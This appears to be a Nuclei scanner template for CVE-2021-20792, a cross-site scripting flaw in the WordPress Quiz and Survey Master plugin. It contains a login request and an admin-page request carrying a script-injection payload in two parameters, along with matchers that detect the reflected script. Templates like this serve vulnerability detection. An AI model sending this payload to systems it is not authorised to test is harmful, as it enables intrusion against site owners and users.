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id : CVE-2021-20792
info :
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name : WordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting
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author : dhiyaneshDK
severity : medium
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description : WordPress Quiz and Survey Master plugin prior to 7.1.14 contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary script via unspecified vectors.
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remediation : |
Update to the latest version of WordPress Quiz and Survey Master plugin (7.1.14) to mitigate the vulnerability.
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reference :
- https://wpscan.com/vulnerability/4deb3464-00ed-483b-8d91-f9dffe2d57cf
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- https://quizandsurveymaster.com/
- https://jvn.jp/en/jp/JVN65388002/index.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20792
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- https://plugins.trac.wordpress.org/changeset?new=2503364%40quiz-master-next%2Ftrunk%2Fphp%2Fadmin%2Fquizzes-page.php&old=2490516%40quiz-master-next%2Ftrunk%2Fphp%2Fadmin%2Fquizzes-page.php
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2021-20792
cwe-id : CWE-79
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epss-score : 0.002
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epss-percentile : 0.57782
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cpe : cpe:2.3:a:expresstech:quiz_and_survey_master:*:*:*:*:*:wordpress:*:*
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metadata :
max-request : 2
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vendor : expresstech
product : quiz_and_survey_master
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framework : wordpress
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tags : wordpress,cve,cve2021,wp-plugin,authenticated,wpscan
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http :
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- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
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log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
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GET /wp-admin/admin.php?page=mlw_quiz_list&s="></script><script>alert(document.domain)</script>&paged="></script><script>alert(document.domain)</script> HTTP/1.1
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Host : {{Hostname}}
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cookie-reuse : true
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matchers-condition : and
matchers :
- type : word
part : body
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words :
- '</script><script>alert(document.domain)</script>'
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- type : word
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part : header
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words :
- "text/html"
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- type : status
status :
- 200
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# digest: 4b0a004830460221009ce673b2e30f98b1bde4fd0dae22b1981cf6e4128becd07826cdeeaa7ecd6f96022100afe58f8d1d7f4b3e77cd29490106dab1f8180b56646226cda55c913aee74246a:922c64590222798bb761d5b6d8e72950